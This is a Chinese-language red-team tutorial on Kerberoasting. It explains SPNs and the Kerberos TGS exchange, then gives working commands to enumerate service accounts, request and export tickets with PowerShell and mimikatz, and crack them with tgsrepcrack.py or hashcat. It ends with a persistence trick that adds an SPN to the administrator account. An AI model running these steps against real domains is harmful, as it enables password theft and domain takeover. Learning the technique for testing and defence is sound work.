Kerberoasting的概念
Kerberoasting的原理
Kerberoasting的实现
Kerberoasting后门利用
服务主题名称( SPN: Service Principal Names) 是服务实例, 可以将其理解为一个服务(比如HTTTP、MSSQL)的唯一标识符,服务在加入域中时是自动注册的。
如果在整个域或林中的计算机上安装多个服务实例,则每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例主机的名称,因此服务实例可以为其主机名称或别名注册SPN。如果想使用Kerberos协议进行认证服务,那必须正确配置SPN
1.注册在域内机器账户(computer)下
当一个服务的权限为Local System 或 Network Service时,SPN会注册于域内机器账户下(Computers)
注册在域内用户账户(User)下
当一个服务的权限为一个域用户,则此时SPN注册在域用户账户下(Users)
在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中和为必须元素:
<service class>/<host>:<port>/<service name> accountname
<service class> #标识服务类的字符串
<host> #服务所在主机名
<port> #服务端口
<service name> #服务名称
accountname #注册账户名
Serviceclass可以认为是服务名,常见的有www,ldap,http,dns等
host有两种形式,FQDN与NetBIOS名,例如Service1.redteam.com和service1
如果服务运行于默认端口上,可省略端口号
利用setspn等手段对域控制器发起LDAP查询,是正常的Kerberos票据行为的一部分,因此很难被设备或筛选日志查询得到。
1.使用SetSPN
查看当前域内所有的SPN:
setspn -q */*
查看目标域内的SPN
setspn -t redteam -q */*
可以发现
机器账户:
域用户账户:
注册于域用户下的SPN仅有一个:
设用户a需要访问Mysql服务,进行到**Ticket Granting Server(TGS)**返还TGS票据时:
1.Domain Controller查询Mysql服务的SPN
如果该SPN注册在机器账户(Computers),将会查询所有机器账户(Computers)的servicePrincipalName属性,查找对应的账户
如果该SPN注册在域用户账户(Users),将会查询所有域用户账户(Users)的servicePrincipalName属性,查找对应的账户
**2.**找到对应的账户后,使用该账户的NTLM Hash,生成TGS票据
3、域内的主机都能查询SPN
4、域内的任何用户都可以向域内的任何服务请求TGS
综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力解析。
对于解析的明文口令,只有域用户账户(Users)的口令存在价值,不必考虑机器账户的口令(无法用于远程连接)
利用思路如下:
1.使用Powershell模块Active Directory
Actice Directory模块 需要提前安装,域控自带
import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon
对于未安装Active Directory模块的系统,可以通过如下命令导入Active Directory模块:
dll文件可在github上自行下载
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
import-module .\Microsoft.ActiveDirectory.Management.dll
2.使用Powerview
Import-Module Powerview.ps1
Get-NetUser -spn -admincount | select name,whencreated,pwdlastset,lastlogon
3.利用Kerberoast
Import-Module GetUserSPNs.ps1
列出所有域用户SPN
1、请求指定TGS
$SPNName='kadmin/changepw'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
2、请求所有TGS
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
klist 查看内存中的票据,即可找到TGS
3、导出
使用mimikatz
kerberos::list /export
利用hashcat或kerberoast进行解析
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py 项目地址
python2 tgsrepcrack.py password.txt 1-40a10000-administrator@kadmin~changepw-REDTEAM.COM.kirbi
当我们取得SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过解析后获得明文口令
例如为域用户administrator添加SPN NC/dc.de1ay.com
此时为域内用户administrator添加了一个SPN,在域内任何一台主机上都可以获得本SPN,并能使用Kerberoast获得TGS
在后续需要使用时请求服务,获取TGS使用Hashcat解析即可
Ps:写这玩意犯困,困了我好多次呢= =